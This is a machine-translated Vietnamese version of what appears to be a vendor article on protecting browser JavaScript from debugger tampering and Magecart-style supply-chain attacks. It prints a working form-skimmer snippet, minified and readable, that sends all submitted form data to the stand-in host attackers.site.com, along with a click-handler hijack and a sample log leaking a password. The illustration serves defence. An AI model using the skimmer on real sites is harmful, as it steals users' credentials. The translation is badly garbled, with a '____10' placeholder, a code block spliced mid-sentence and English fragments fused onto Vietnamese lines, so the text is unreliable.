Hướng dẫn how do i protect my javascript source code? - làm cách nào để bảo vệ mã nguồn javascript của tôi?

Hướng dẫn how do i protect my javascript source code? - làm cách nào để bảo vệ mã nguồn javascript của tôi?

JavaScript là ngôn ngữ lập trình với nhiều tính năng hữu ích, nó được xây dựng xung quanh tính linh hoạt, mang lại cho bạn tất cả khả năng cần thiết để làm những gì bạn muốn với nó. Bản chất năng động của JavaScript, cho phép nó trở thành ngôn ngữ thực tế cho trình duyệt và ngôn ngữ lập trình phổ biến nhất trên thế giới.

Một trong những tính năng JS hữu ích nhất là, ví dụ, phân tích cú pháp ngay lập tức. Tính năng này có nghĩa là trình duyệt thực thi mã ngay khi tải xuống nội dung, tự nhiên mang lại lợi ích. Tuy nhiên, với mức độ tự do này cũng có trách nhiệm.

Trong bài viết này, chúng tôi muốn đi sâu vào các rủi ro bảo mật của JavaScript và cách bảo vệ mã JavaScript. Lần này chúng tôi sẽ chỉ bao gồm mã mặt trước chạy trên trình duyệt, nhưng chúng tôi có một hướng dẫn khác về bảo vệ các ứng dụng Node.js.

Làm thế nào để trình duyệt thực thi javaScript?

Hãy tưởng tượng tất cả các bước cần thiết cho một trình duyệt. Đầu tiên, nó phải tải xuống trang và bắt đầu phân tích cú pháp. Trình duyệt không chờ đợi mọi thứ để tải xuống, nó có khả năng tải xuống và phân tích trang cùng một lúc. Vậy điều gì xảy ra khi nó gặp JavaScript?

JavaScript là chặn chặn, có một lợi thế to lớn khi nó thực hiện. Điều này có nghĩa là, trình duyệt sẽ tạm dừng phân tích cú pháp, thực hiện JavaScript trước, sau đó tiếp tục. Điều này cung cấp tính linh hoạt cuối cùng trong việc sử dụng ngôn ngữ lập trình này và mở ra mã cho bất kỳ số lượng khả năng nào.

Tuy nhiên, câu hỏi là: Ý nghĩa của các tính năng như vậy khi cố gắng xây dựng các ứng dụng JavaScript an toàn là gì?

Rủi ro của JavaScript

1. Gỡ lỗi và giả mạo

Các hướng dẫn bảo mật ứng dụng như các hướng dẫn từ OWASP nêu bật các mối đe dọa do kỹ thuật đảo ngược và giả mạo mã nguồn ứng dụng, đặc biệt là trong các ứng dụng xử lý dữ liệu nhạy cảm hoặc thực hiện các hoạt động quan trọng.

Đây chính xác là trường hợp của các ứng dụng do JavaScript cung cấp, trong đó những rủi ro này có thể được tận dụng dưới dạng các cuộc tấn công khác nhau như trộm cắp sở hữu trí tuệ, lạm dụng tự động, vi phạm bản quyền và giải thoát dữ liệu. .

Các quy định và tiêu chuẩn như NIST và ISO 27001 cũng đề cập đến những rủi ro này khi có mã nguồn không được bảo vệ, khuyến nghị các tổ chức đưa ra các quy trình kiểm soát nghiêm ngặt để giữ cho họ không gặp phải hậu quả của các cuộc tấn công có thể xảy ra.

Để minh họa những rủi ro này, hãy tưởng tượng đoạn mã sau:

Điều này tuyên bố một mục tiêu trong HTML và dây lên các sự kiện. Khi bạn nhấp vào nút, cuộc gọi lại bắn.

Với JavaScript phía máy khách, bạn có thể đặt điểm dừng ngay khi đặt giá trị. Điểm dừng này bị tấn công ngay khi sự kiện bắn. Giá trị được đặt thông qua var value = '2'; có thể thay đổi theo ý muốn. Trình gỡ lỗi tạm dừng thực thi và cho phép một người giả mạo trang. Khả năng này rất hữu ích khi gỡ lỗi và trình duyệt không giương bất kỳ cờ nào trong khi điều này đang xảy ra.

Kể từ khi trình gỡ lỗi tạm dừng thực thi, nó cũng có khả năng tạm dừng kết xuất trang. Gỡ lỗi là một phần của công cụ bên trong trình duyệt để bất kỳ ai có quyền truy cập vào điều này.

Để xem kỹ thuật này trong hành động, hãy xem mã này trên PEN mã có sẵn. Dưới đây là ảnh chụp màn hình của việc gỡ lỗi:

Hướng dẫn how do i protect my javascript source code? - làm cách nào để bảo vệ mã nguồn javascript của tôi?

Vì vậy, chúng tôi biết rằng tính năng này là tuyệt vời để gỡ lỗi JavaScript, nhưng làm thế nào nó có thể tác động đến mã JavaScript an toàn?

Giống như bất cứ ai cũng có thể sử dụng công cụ gỡ lỗi cho mục đích hợp pháp, kẻ tấn công có thể sử dụng tính năng này để thay đổi JavaScript khi chạy. Kẻ tấn công có thể nhấn một điểm dừng, thay đổi DOM và nhập JavaScript tùy ý trong bảng điều khiển. Loại tấn công này có thể được sử dụng để khai thác các lỗ hổng bảo mật có thể có ở phía máy khách. Kẻ tấn công có thể thay đổi dữ liệu, chiếm đoạt phiên và thực hiện các thay đổi JavaScript tùy ý trên trang, do đó làm ảnh hưởng đến bảo mật của mã gốc. Hoặc, như Owasp nói:

Kẻ tấn công có thể trực tiếp sửa đổi mã, thay đổi nội dung của bộ nhớ một cách linh hoạt, thay đổi hoặc thay thế API hệ thống mà ứng dụng sử dụng hoặc sửa đổi dữ liệu và tài nguyên của ứng dụng. Điều này có thể cung cấp cho kẻ tấn công một phương pháp trực tiếp để lật đổ việc sử dụng phần mềm dự định để đạt được lợi ích cá nhân hoặc tiền tệ.

Ví dụ: với các công cụ nhà phát triển web được mở, bất kỳ ai cũng có thể vào tab Console và nhập:

document.querySelector('button').addEventListener('click', function() {
    alert('sacked');
});

Lần tới khi sự kiện này nổ ra, nó sẽ bắn thay đổi JavaScript này. Bạn có thể cảm nhận được hương vị cay đắng của nguy hiểm?

2. Dữ liệu thoát ra và các cuộc tấn công phía máy khách khác

Vượt ra ngoài rủi ro bảo mật của những kẻ tấn công nhắm vào chính mã nguồn JavaScript, chúng ta vẫn phải xem xét những nguy hiểm của việc thực thi JavaScript tùy ý trong trình duyệt.

Chúng tôi đã thấy một sự gia tăng ngày càng tăng của các cuộc tấn công chuỗi cung ứng web như các cuộc tấn công của Magecart tràn vào web và tận dụng dữ liệu của khách hàng để tìm hiểu dữ liệu. Để đặt điều này vào viễn cảnh, hãy xem một ví dụ.

Giả sử rằng bằng cách nào đó (điều này đã xảy ra trước đó) CDN của bạn bị xâm phạm và tập lệnh jQuery mà bạn bao gồm trên trang web của bạn đã được sửa đổi, thêm đoạn trích bên dưới:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();

Nó rất có thể là bạn đã giành được thông báo về sự thay đổi này và trang web của bạn sẽ phân phối phần mềm độc hại.

Bây giờ, chúng ta hãy thử một phiên bản dễ đọc hơn của cùng một đoạn:

! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (!a.target) return null;
            b = new FormData(a.target);
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "https://attackers.site.com/?" + d.substring(1), !0
        })
    })
}();

Chúng ta có thể hiểu logic của nó như sau:

  1. Đối với mỗi form trên trang,
  2. Một trình xử lý sự kiện submit được thêm vào, do đó khi được kích hoạt,
  3. Dữ liệu biểu mẫu được thu thập và viết lại bằng định dạng chuỗi truy vấn,
  4. sau đó được thêm vào URL nguồn tài nguyên Image mới.

OK, vì vậy hãy làm rõ: Mỗi khi một biểu mẫu được gửi, dữ liệu chính xác được gửi đến một máy chủ từ xa (____10), yêu cầu những gì được cho là tài nguyên hình ảnh.

Sau đó, chủ sở hữu của

document.querySelector('button').addEventListener('click', function() {
    alert('sacked');
});
0 sẽ nhận được dữ liệu trên nhật ký truy cập của họ:

79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET /[email protected]&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

Và kết quả là, trang web của bạn sẽ âm thầm rò rỉ dữ liệu người dùng ngay vào tay kẻ tấn công, ngay cả khi không có bất kỳ vi phạm nào đối với máy chủ của riêng bạn. Đây là lý do tại sao các cuộc tấn công chuỗi cung ứng web là một mối đe dọa đáng kể hiện nay, vì các quy định như GDPR/CCPA/HIPAA áp đặt các hình phạt lớn sau rò rỉ dữ liệu của người dùng.

1. Bảo vệ mã JavaScript

Với tính chất linh hoạt và năng động của web, để bảo vệ mã JavaScript khỏi những kẻ tấn công tiềm năng, tùy chọn tốt nhất là thêm bảo vệ thời gian chạy. Lớp bảo mật này sẽ bảo vệ mã JavaScript trong khi thực hiện để tránh giả mạo, cung cấp mức độ bảo vệ hiệu quả nhất cho các ứng dụng phía khách hàng. Như đã giải thích bởi Gartner:

Tự bảo vệ ứng dụng thời gian chạy là một công nghệ bảo mật được xây dựng hoặc liên kết vào môi trường thời gian chạy ứng dụng hoặc ứng dụng và có khả năng kiểm soát việc thực thi ứng dụng, phát hiện và ngăn chặn các cuộc tấn công thời gian thực.

Khi JavaScript đạt trình duyệt, không có gì để bảo vệ hoàn toàn việc thực thi của nó. Bảo vệ thời gian chạy sẽ bảo vệ chống lại việc gỡ lỗi và mã hóa các cuộc tấn công chỉ xảy ra trong thời gian chạy. Điều này sẽ bao gồm các cuộc tấn công sửa đổi ứng dụng trong khi nó ngoại tuyến. Một giải pháp bảo vệ thời gian chạy tốt cũng sẽ làm xáo trộn mã đến nơi kẻ tấn công không thể làm xáo trộn với chính giải pháp, cũng không chỉ đơn giản là đi xung quanh nó.

Tất cả các lớp bảo vệ này có nghĩa là để đảm bảo rằng bạn có mã JavaScript an toàn chạy trên web, mặc dù những nỗ lực của kẻ tấn công để giả mạo nó. Một giải pháp bảo vệ thời gian chạy mạnh mẽ cũng sẽ gửi thông báo khi kẻ tấn công cố gắng ngăn chặn mã. Điều này cho phép chủ sở hữu ứng dụng phản ứng và hành động, ví dụ bằng cách chấm dứt phiên người dùng.

JScrambler Code Integrity cung cấp một giải pháp bảo vệ thời gian chạy nhằm bảo vệ các ứng dụng chống lại các cuộc tấn công thời gian chạy. Nó kết hợp các kỹ thuật chống debugging và chống giả mạo cùng với các khả năng tự vệ khác để cung cấp bảo vệ tích cực cho các ứng dụng JavaScript. Đặc biệt:

  • Anti-Debugging phát hiện việc sử dụng các công cụ gỡ lỗi (ví dụ: devtools, firebug) và phá vỡ trình gỡ lỗi để ngăn chặn quá trình kỹ thuật đảo ngược. Điều này đạt được với các bẫy mã và các đối tượng chết làm cho các công cụ gỡ lỗi ngừng hoạt động và làm cho ngăn xếp cuộc gọi phát triển, giữ cho người dùng không kiểm tra luồng điều khiển ứng dụng.

  • Dòng chảy kiểm soát, như tên gọi, làm phẳng luồng chương trình, thêm các vị từ mờ đục và các bản sao mã không liên quan. Do đó, mọi cấu trúc có điều kiện tự nhiên duy nhất giúp mã dễ đọc hơn.

  • Chống bị giả mạo phát hiện thay đổi mã và phản ứng tương ứng. Chẳng hạn, nếu bạn thêm/loại bỏ một dấu chấm phẩy khỏi chức năng được bảo vệ bằng tính năng tự bảo vệ của JScrambler, nó sẽ phát hiện sự thay đổi đó và làm cho mã ngừng hoạt động. Cả hai kỹ thuật cùng với sự obfuscation mã làm cho một kẻ tấn công không thể làm xáo trộn ứng dụng.

Bạn có thể bắt đầu thử giải pháp của chúng tôi miễn phí ngay bây giờ.

2. Bảo vệ phía khách hàng

Quá trình phát triển JavaScript điển hình thường phụ thuộc vào việc sử dụng các thành phần nguồn mở giúp tăng tốc độ phát triển. Ngoài ra, hầu hết các trang web cuối cùng sẽ chạy một số tập lệnh của bên thứ ba (chatbots, phân tích, quảng cáo, v.v.) trong thời gian chạy.

Thực tế của việc sử dụng tất cả các đoạn mã có nguồn gốc từ bên ngoài này là bề mặt tấn công cho các cuộc tấn công phía khách hàng tăng mạnh.

Vì các hệ thống bảo mật truyền thống (bảo mật phía máy chủ, bảo mật mạng) không đề cập đến phía khách hàng, để giải quyết các mối đe dọa ngày càng tăng này, các công ty cần có khả năng hiển thị hoàn toàn và kiểm soát phía trang web của họ.

JSCRAMBLER Trang web Liêm chính cung cấp bảo vệ phía khách hàng đầy đủ tính năng chống lại các cuộc tấn công phía máy khách như Skimmer web Magecart và Data EXFILTRATION. Đặc biệt:

  • Khả năng quan sát thời gian thực đầy đủ về hành vi của mỗi kịch bản của bên thứ ba; Điều này có nghĩa là biết nếu nó tải/tiêm nhiều mã hơn, nếu nó gửi dữ liệu ra và ở đâu, nếu nó truy cập dữ liệu biểu mẫu, cookie và lưu trữ cục bộ, nếu nó biến đổi DOM, v.v.real-time observability of the behavior of every single third-party script; this means knowing if it loads/injects more code, if it is sending data out and where to, if it’s accessing form data, cookies, and local storage, if it’s mutating the DOM, etc.
  • Một bản kiểm kê toàn diện của tất cả các tập lệnh trang web này và các yêu cầu mạng mà họ đang làm;inventory of all these website scripts and the network requests that they are doing;
  • Một động cơ quy tắc mạnh mẽ cung cấp kiểm soát chi tiết và linh hoạt đối với hành vi của mỗi tập lệnh. Điều này cho phép tự động chặn các hành vi không cho phép như giả mạo mã khác trong trang web, truy cập vào trường mật khẩu của trực tuyến trên biểu mẫu đăng nhập, truy cập cookie hoặc lưu trữ cục bộ, liên hệ với một số tên miền nhất định, v.v.powerful rules engine that grants flexible and granular control over the behavior of each script. This allows automatically blocking disallowed behaviors such as tampering with other code in the web page, accessing the “password” field of a login form, accessing cookies or local storage, contacting certain domains, etc.

Để bắt đầu với tính toàn vẹn của trang web JScrambler, hãy yêu cầu báo cáo kiểm kê miễn phí về trang web của bạn. Báo cáo này cung cấp một ảnh chụp nhanh của mỗi tập lệnh của bên thứ ba chạy trên trang web của bạn và hành vi của họ được chia thành những hiểu biết bảo mật có thể hành động.

Sự kết luận

Vì JavaScript cung cấp năng lượng cho hầu hết các trang web (bao gồm các trang web xử lý dữ liệu người dùng cực kỳ nhạy cảm) và vì nó tự nhiên là ngôn ngữ năng động cho web được xây dựng để linh hoạt, nên nó đặt ra mối quan tâm bổ sung về bảo mật. Giống như bất kỳ thanh kiếm hai lưỡi tốt, bạn phải chịu trách nhiệm này. Vì vậy, để bảo vệ mã JavaScript, bạn phải tính đến những gì xảy ra trong thời gian chạy.

Để bảo vệ mã JavaScript, bạn phải tính đến những gì xảy ra trong thời gian chạy, cả hai vì những kẻ tấn công có thể nhắm mục tiêu mã nguồn tiếp xúc của bạn và vì chúng có thể tiêm mã JavaScript độc hại thông qua các tập lệnh của bên thứ ba của bạn.

Giải quyết cả hai chiều này thành công đưa bạn lên trước những kẻ tấn công và trên con đường tuân thủ đúng đắn.

Có thể mã hóa mã JavaScript không?

Bạn có thể làm xáo trộn nó, nhưng không có cách nào để bảo vệ nó hoàn toàn.there's no way of protecting it completely.

Tôi có thể ẩn mã JavaScript của mình không?

Không, nó không thể.Nếu bạn không đưa nó cho trình duyệt, thì trình duyệt không có nó.Nếu bạn làm như vậy, thì nó (hoặc một tham chiếu dễ dàng theo nó) tạo thành một phần của nguồn.. If you don't give it to the browser, then the browser doesn't have it. If you do, then it (or an easily followed reference to it) forms part of the source.

Làm thế nào để sở hữu trí tuệ bảo vệ JavaScript?

Có hai cách chung để bảo vệ tài sản trí tuệ, về mặt pháp lý hoặc kỹ thuật.Về mặt pháp lý có nghĩa là nhận bản quyền hoặc ký hợp đồng pháp lý chống lại việc tạo các bản sao, v.v. và về mặt kỹ thuật có nghĩa là chủ sở hữu của phần mềm sẽ đưa ra giải pháp để bảo vệ với mã JavaScript cụ thể đó.getting copyrights or signing legal contracts against creating duplicates etc. And technically means the owners of the software will give the solution for protection with that particular JavaScript code.